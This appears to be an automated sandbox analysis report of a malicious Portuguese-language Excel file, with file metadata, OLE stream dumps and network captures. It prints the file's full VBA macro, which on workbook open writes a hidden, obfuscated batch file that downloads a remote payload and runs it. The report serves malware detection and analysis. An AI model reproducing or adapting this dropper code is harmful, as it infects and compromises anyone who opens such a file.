                                                              Preview:call getCmdPid.bat..set PID=%errorlevel%..call windowMode.bat -pid %PID% -mode hidden..cd C:\Users\Public..@echo off..Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D..cls..%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,

                                                              Static File Info

                                                              General

                                                              File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: MARIANO PEREIRA, Last Saved By: Cavaleiro De Troia, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Sun May 2 19:59:33 2021, Security: 0
                                                              Entropy (8bit):4.612344636877495
                                                              TrID:
                                                              • Microsoft Excel sheet (30009/1) 78.94%
                                                              • Generic OLE2 / Multistream Compound File (8008/1) 21.06%
                                                              File name:SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls
                                                              File size:39424
                                                              MD5:33a12b2b07ecd6d349f4d149aae3103a
                                                              SHA1:1701f6a80e859aaed17ecd99dac0bda7d7e66fcb
                                                              SHA256:ea6e71f6371f871da6829a35496a63bf02f162a38ee6e89e16b33b7b76e874a5
                                                              SHA512:ce7a4683c28ae562e32ee3130d6a9bc01889ca52609c462e232eae9c960aacd90780e579b2cbb65a0b0e482e42f75018b0754f1e8a1c9ee96fae97777fa38150
                                                              SSDEEP:768:uK1Tgbyw3sz2jyngov9rjXjBCKTUAuulFFfqMFQxmMC0klhiCfAdKmCx:uK1Tgbyw3sz2jyngov9rjXjBCKoAuulh
                                                              TLSH:80031C26BA95C8B6DA67133AACE791C5623BBC131E1E52477204F32D7EB11D7840722F
                                                              File Content Preview:........................>......................................................................................................................................................................................................................................

                                                              File Icon

                                                              Icon Hash:e4eea286a4b4bcb4

                                                              Static OLE Info

                                                              General

                                                              Document Type:OLE
                                                              Number of OLE Files:1

                                                              OLE File "SecuriteInfo.com.Exploit.Siggen3.17149.4633.xls"

                                                              Indicators
                                                              Has Summary Info:
                                                              Application Name:Microsoft Excel
                                                              Encrypted Document:False
                                                              Contains Word Document Stream:False
                                                              Contains Workbook/Book Stream:False
                                                              Contains PowerPoint Document Stream:False
                                                              Contains Visio Document Stream:False
                                                              Contains ObjectPool Stream:False
                                                              Flash Objects Count:0
                                                              Contains VBA Macros:True
                                                              Summary
                                                              Code Page:1252
                                                              Author:MARIANO PEREIRA
                                                              Last Saved By:Cavaleiro De Troia
                                                              Create Time:2015-06-05 18:19:34
                                                              Last Saved Time:2021-05-02 18:59:33
                                                              Creating Application:Microsoft Excel
                                                              Security:0
                                                              Document Summary
                                                              Document Code Page:1252
                                                              Thumbnail Scaling Desired:False
                                                              Company:
                                                              Contains Dirty Links:False
                                                              Shared Document:False
                                                              Changed Hyperlinks:False
                                                              Application Version:1048576

                                                              Streams with VBA

                                                              VBA File Name: EstaPastaDeTrabalho.cls, Stream Size: 4626
                                                              General
                                                              Stream Path:_VBA_PROJECT_CUR/VBA/EstaPastaDeTrabalho
                                                              VBA File Name:EstaPastaDeTrabalho.cls
                                                              Stream Size:4626
                                                              Data ASCII:. . . . . . . . . . . . . . . 8 . . . < . . . J . . . > . . . . . . . . . . . . = s . . # . . . . . . . . . . . . . . . . . p . . . s . ~ T I J y \\ . . . . . . . . . . . . . . F . . . . . . . . . . . . . . . . . . . . P \\ = g B . . : p . . . . . . . . . . . . . . . . . . . . . . x . . . . P \\ = g B . . : p s . ~ T I J y \\ . . . . M E . . . . . . . . . . . . . . . . . . . . . 0 . P . . . . . S L . . . . S . . . . . S . . . . 6 " . . . . . . . . . . . . . . . . . < 8 . . . . . . < . . . . . . . . . . N . 0 .
                                                              Data Raw:01 16 03 00 06 00 01 00 00 ea 05 00 00 e4 00 00 00 38 02 00 00 3c 06 00 00 4a 06 00 00 3e 0e 00 00 00 00 00 00 01 00 00 00 7f 3d c0 73 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff 70 00 ff ff 00 00 73 08 b9 7e 54 c1 49 4a 9c 94 fe 79 dc 5c af 9b 19 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                              VBA Code
                                                              Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sFile As String
   sFile = Environ("Public") & "\Outlook.bat"
      
   Close
     Open sFile For Output As #1
Print #1, "call getCmdPid.bat"
Print #1, "set PID=%errorlevel%"
Print #1, "call windowMode.bat -pid %PID% -mode hidden"
Print #1, "cd C:\Users\Public"
Print #1, "@echo off"
Print #1, "Set ao8=TSkEhx6qZpCHJMOGRvfbn4wQaPBANVXWz8jcIKrtlYymiod3L2sU7eF105gu9D"
Print #1, "cls"
Print #1, "%ao8:~35,1%%ao8:~43,1%%ao8:~46,1% /%ao8:~35,1% %ao8:~50,1%%ao8:~39,1%%ao8:~24,1%%ao8:~38,1%%ao8:~39,1% /%ao8:~43,1%%ao8:~44,1%%ao8:~20,1% %ao8:~39,1%%ao8:~24,1%%ao8:~50,1%%ao8:~2,1%%ao8:~2,1%%ao8:~44,1%%ao8:~40,1%%ao8:~40,1% /%ao8:~18,1% /%ao8:~44,1%%ao8:~43,1% %ao8:~31,1%%ao8:~36,1%%ao8:~28,1%%ao8:~31,1%%ao8:~14,1%%ao8:~16,1%%ao8:~61,1%.%ao8:~3,1%%ao8:~30,1%%ao8:~3,1% & %ao8:~43,1%%ao8:~50,1%%ao8:~4,1%%ao8:~39,1%%ao8:~24,1% %ao8:~4,1%%ao8:~39,1%%ao8:~39,1%%ao8:~9,1%://%ao8:~18,1%%ao8:~24,1%%ao8:~35,1%%ao8:~53,1%%ao8:~5,1%%ao8:~39,1%%ao8:~38,1%%ao8:~24,1%%ao8:~46,1%%ao8:~53,1%.%ao8:~35,1%%ao8:~45,1%%ao8:~43,1%.%ao8:~19,1%%ao8:~38,1%/%ao8:~22,1%%ao8:~9,1%-%ao8:~44,1%%ao8:~20,1%%ao8:~35,1%%ao8:~40,1%%ao8:~59,1%%ao8:~46,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~35,1%%ao8:~53,1%%ao8:~38,1%%ao8:~39,1%%ao8:~44,1%%ao8:~18,1%%ao8:~44,1%%ao8:~35,1%%ao8:~24,1%%ao8:~39,1%%ao8:~53,1%%ao8:~50,1%/%ao8:~21,1%.%ao8:~39,1%%ao8:~5,1%%ao8:~39,1%"




   For iCounter = 2 To iStage
      Print #1, "    </ul>"
      iStage = iStage - 1
   Next iCounter:      Shell$    "cmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit" & vbLf, 0
   
   
   
   

   Close


End Sub

                                                              VBA File Name: Planilha1.cls, Stream Size: 1002
                                                              General
                                                              Stream Path:_VBA_PROJECT_CUR/VBA/Planilha1
                                                              VBA File Name:Planilha1.cls
                                                              Stream Size:1002
                                                              Data ASCII:. . . . . . . . . . . . . . . . . . . . . 5 . . . . . . . . . . . . = I . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . -
                                                              Data Raw:01 16 03 00 01 f0 00 00 00 da 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff e1 02 00 00 35 03 00 00 00 00 00 00 01 00 00 00 7f 3d 49 ac 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                              VBA Code
                                                              Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                                                              Streams

                                                              Stream Path: \x1CompObj, File Type: data, Stream Size: 109
                                                              General
                                                              Stream Path:\x1CompObj
                                                              File Type:data
                                                              Stream Size:109
                                                              Entropy:4.257541421397259
                                                              Base64 Encoded:True
                                                              Data ASCII:. . . . . . . . . . . . . . . . . . . F ! . . . P l a n i l h a d o M i c r o s o f t E x c e l 2 0 0 3 . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
                                                              Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 21 00 00 00 50 6c 61 6e 69 6c 68 61 20 64 6f 20 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6c 20 32 30 30 33 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                                                              Stream Path: \x1Ole, File Type: data, Stream Size: 20
                                                              General
                                                              Stream Path:\x1Ole
                                                              File Type:data
                                                              Stream Size:20
                                                              Entropy:0.8475846798245739
                                                              Base64 Encoded:False
                                                              Data ASCII:. . . . . . . . . . . . . . . . . . . .
                                                              Data Raw:01 00 00 02 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                                              Stream Path: \x3ObjInfo, File Type: data, Stream Size: 6
                                                              General
                                                              Stream Path:\x3ObjInfo
                                                              File Type:data
                                                              Stream Size:6
                                                              Entropy:1.2516291673878228
                                                              Base64 Encoded:False
                                                              Data ASCII:. . . . . .
                                                              Data Raw:00 00 03 00 04 00
                                                              Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 240
                                                              General
                                                              Stream Path:\x5DocumentSummaryInformation
                                                              File Type:data
                                                              Stream Size:240
                                                              Entropy:2.6096962931292262
                                                              Base64 Encoded:False
                                                              Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P l a n 1 . . . . . . . . . . . . . . . . . P l a n i l h a s . . . . . . . . .
                                                              Data Raw:fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c0 00 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 9e 00 00 00
                                                              Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 228
                                                              General
                                                              Stream Path:\x5SummaryInformation
                                                              File Type:data
                                                              Stream Size:228
                                                              Entropy:3.9071239156716207
                                                              Base64 Encoded:False
                                                              Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . + ' 0 . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . ` . . . . . . . | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M A R I A N O P E R E I R A . . . . . . . . . C a v a l e i r o D e T r o i a . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . @ . . . . I ? . . . . . . . . .
                                                              Data Raw:fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 b4 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 60 00 00 00 12 00 00 00 7c 00 00 00 0c 00 00 00 94 00 00 00 0d 00 00 00 a0 00 00 00 13 00 00 00 ac 00 00 00 02 00 00 00 e4 04 00 00 1e 00 00 00 10 00 00 00
                                                              Stream Path: RichEditFlags, File Type: data, Stream Size: 12
                                                              General
                                                              Stream Path:RichEditFlags
                                                              File Type:data
                                                              Stream Size:12
                                                              Entropy:0.6500224216483541
                                                              Base64 Encoded:False
                                                              Data ASCII:. . . . . . . . . . . .
                                                              Data Raw:01 00 00 00 00 00 00 00 01 00 00 00
                                                              Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 15248
                                                              General
                                                              Stream Path:Workbook
                                                              File Type:Applesoft BASIC program data, first line number 16
                                                              Stream Size:15248
                                                              Entropy:5.167290881180269
                                                              Base64 Encoded:True
                                                              Data ASCII:. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . \\ . p . . . . C a v a l e i r o D e T r o i a B . . . . a . . . . . . . . = . . . . . . . . . . . . . . E s t a P a s t a D e T r a b a l h o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . V e 1 : . . . . . . . X .
                                                              Data Raw:09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 12 00 00 43 61 76 61 6c 65 69 72 6f 20 44 65 20 54 72 6f 69 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
                                                              Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 513
                                                              General
                                                              Stream Path:_VBA_PROJECT_CUR/PROJECT
                                                              File Type:ASCII text, with CRLF line terminators
                                                              Stream Size:513
                                                              Entropy:5.142452298544354
                                                              Base64 Encoded:True
                                                              Data ASCII:I D = " { 0 0 0 0 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 0 0 0 0 0 0 0 0 } " . . D o c u m e n t = E s t a P a s t a D e T r a b a l h o / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = P l a n i l h a 1 / & H 0 0 0 0 0 0 0 0 . . H e l p F i l e = " " . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " C 0 C 2 6 C 6 A 7 0 6 A 7 0 6 E 7 4 6 E 7 4 " . . D P B = " 9 3 9 1 3 F E E 0 F 0 B 0 F 0 B F 0 F 5
                                                              Data Raw:49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 30 30 30 30 30 30 30 30 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 45 73 74 61 50 61 73 74 61 44 65 54 72 61 62 61 6c 68 6f 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 50 6c 61 6e 69 6c 68 61 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 48 65 6c 70 46 69 6c 65 3d 22 22
                                                              Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 92
                                                              General
                                                              Stream Path:_VBA_PROJECT_CUR/PROJECTwm
                                                              File Type:data
                                                              Stream Size:92
                                                              Entropy:3.1873658260020488
                                                              Base64 Encoded:False
                                                              Data ASCII:E s t a P a s t a D e T r a b a l h o . E . s . t . a . P . a . s . t . a . D . e . T . r . a . b . a . l . h . o . . . P l a n i l h a 1 . P . l . a . n . i . l . h . a . 1 . . . . .
                                                              Data Raw:45 73 74 61 50 61 73 74 61 44 65 54 72 61 62 61 6c 68 6f 00 45 00 73 00 74 00 61 00 50 00 61 00 73 00 74 00 61 00 44 00 65 00 54 00 72 00 61 00 62 00 61 00 6c 00 68 00 6f 00 00 00 50 6c 61 6e 69 6c 68 61 31 00 50 00 6c 00 61 00 6e 00 69 00 6c 00 68 00 61 00 31 00 00 00 00 00
                                                              Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2599
                                                              General
                                                              Stream Path:_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
                                                              File Type:data
                                                              Stream Size:2599
                                                              Entropy:4.083845578704928
                                                              Base64 Encoded:False
                                                              Data ASCII:a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 2 . # . 9 . # . C . : . \\ . P . r . o . g . r . a . m . . F . i . l . e . s . \\ . C . o . m . m . o . n . . F . i . l . e . s . \\ . M . i . c . r . o . s . o . f . t . . S . h . a . r . e . d . \\ . V . B . A . \\ . V . B . A . 7 . . . 1 . \\ . V . B . E . 7 . . . D .
                                                              Data Raw:cc 61 b2 00 00 03 00 ff 16 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 32 00 23 00
                                                              Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_0, File Type: data, Stream Size: 6598
                                                              General
                                                              Stream Path:_VBA_PROJECT_CUR/VBA/__SRP_0
                                                              File Type:data
                                                              Stream Size:6598
                                                              Entropy:3.6025462992311663
                                                              Base64 Encoded:False
                                                              Data ASCII:K * . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . r U _ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ . . . . . . . ~ J . . . . . . . . . . . . . . . " . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . . C 7 7 M D . H l { . . . . . . . . . . . . . . . . . . . .
                                                              Data Raw:93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 02 00 00 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 5f 03 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 0a 00 00 00 00 00 00 7e 02 00 00 00
                                                              Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_1, File Type: data, Stream Size: 182
                                                              General
                                                              Stream Path:_VBA_PROJECT_CUR/VBA/__SRP_1
                                                              File Type:data
                                                              Stream Size:182
                                                              Entropy:1.6862905000266528
                                                              Base64 Encoded:False
                                                              Data ASCII:r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ z . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
                                                              Data Raw:72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 ff ff ff ff ff ff ff ff 06 00 00 00 00 00
                                                              Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_2, File Type: data, Stream Size: 1550
                                                              General
                                                              Stream Path:_VBA_PROJECT_CUR/VBA/__SRP_2
                                                              File Type:data
                                                              Stream Size:1550
                                                              Entropy:2.874874206462334
                                                              Base64 Encoded:False
                                                              Data ASCII:r U . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Q . . . . . . . . . . A . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . a . . . . . . . . . . .
                                                              Data Raw:72 55 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 14 00 00 00 b1 09 00 00 00 00 00 00 00 00 00 00 51 20 00 00 00 00 00 00 00 00 00 00 41 09 00 00 00 00 00 00 00 00
                                                              Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_3, File Type: data, Stream Size: 156
                                                              General
                                                              Stream Path:_VBA_PROJECT_CUR/VBA/__SRP_3
                                                              File Type:data
                                                              Stream Size:156
                                                              Entropy:1.7820663630707385
                                                              Base64 Encoded:False
                                                              Data ASCII:r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . 8 . . . . . . . . . . . . . . . ` . . . 8 . . . . . . . . . . . . . . . . . b . . . . . . . . . . . . . . .
                                                              Data Raw:72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 78 00 00 00 08 00 38 00 e1 01 00 00 00 00 00 00 00 00 02 00 00 00 03 60 00 00 d8 08 38 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00
                                                              Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 547
                                                              General
                                                              Stream Path:_VBA_PROJECT_CUR/VBA/dir
                                                              File Type:data
                                                              Stream Size:547
                                                              Entropy:6.129298700211954
                                                              Base64 Encoded:True
                                                              Data ASCII:. . . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . b . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E .
                                                              Data Raw:01 1f b2 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 80 86 83 62 04 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

                                                              Network Behavior

                                                              Network Port Distribution

                                                              TCP Packets

                                                              TimestampSource PortDest PortSource IPDest IP
                                                              Aug 16, 2022 10:33:02.981374025 CEST4917180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:03.217179060 CEST8049171187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:03.217354059 CEST4917180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:03.218417883 CEST4917180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:03.456861019 CEST8049171187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:04.353231907 CEST8049171187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:04.353311062 CEST8049171187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:04.353364944 CEST8049171187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:04.353405952 CEST8049171187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:04.353461027 CEST8049171187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:04.353517056 CEST8049171187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:04.353545904 CEST4917180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:04.353569984 CEST8049171187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:04.353606939 CEST8049171187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:04.353607893 CEST4917180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:04.353679895 CEST4917180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:04.353725910 CEST4917180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:04.360995054 CEST8049171187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:04.361036062 CEST8049171187.45.240.69192.168.2.22
                                                              Aug 16, 2022 10:33:04.361176014 CEST4917180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:04.361993074 CEST4917180192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:04.396449089 CEST4917280192.168.2.22187.45.240.69
                                                              Aug 16, 2022 10:33:04.507854939 CEST4917380192.168.2.22104.18.10.207
                                                              Aug 16, 2022 10:33:04.524375916 CEST8049173104.18.10.207192.168.2.22
                                                              Aug 16, 2022 10:33:04.524456978 CEST4917380192.168.2.22104.18.10.207
                                                              Aug 16, 2022 10:33:04.530935049 CEST4917380192.168.2.22104.18.10.207
                                                              Aug 16, 2022 10:33:04.547465086 CEST8049173104.18.10.207192.168.2.22
                                                              Aug 16, 2022 10:33:04.578048944 CEST8049173104.18.10.207192.168.2.22
                                                              Aug 16, 2022 10:33:04.578077078 CEST8049173104.18.10.207192.168.2.22
                                                              Aug 16, 2022 10:33:04.578093052 CEST8049173104.18.10.207192.168.2.22
                                                              Aug 16, 2022 10:33:04.578105927 CEST8049173104.18.10.207192.168.2.22
                                                              Aug 16, 2022 10:33:04.578125954 CEST8049173104.18.10.207192.168.2.22
                                                              Aug 16, 2022 10:33:04.578147888 CEST4917380192.168.2.22104.18.10.207
                                                              Aug 16, 2022 10:33:04.578159094 CEST8049173104.18.10.207192.168.2.22
                                                              Aug 16, 2022 10:33:04.578171968 CEST8049173104.18.10.207192.168.2.22
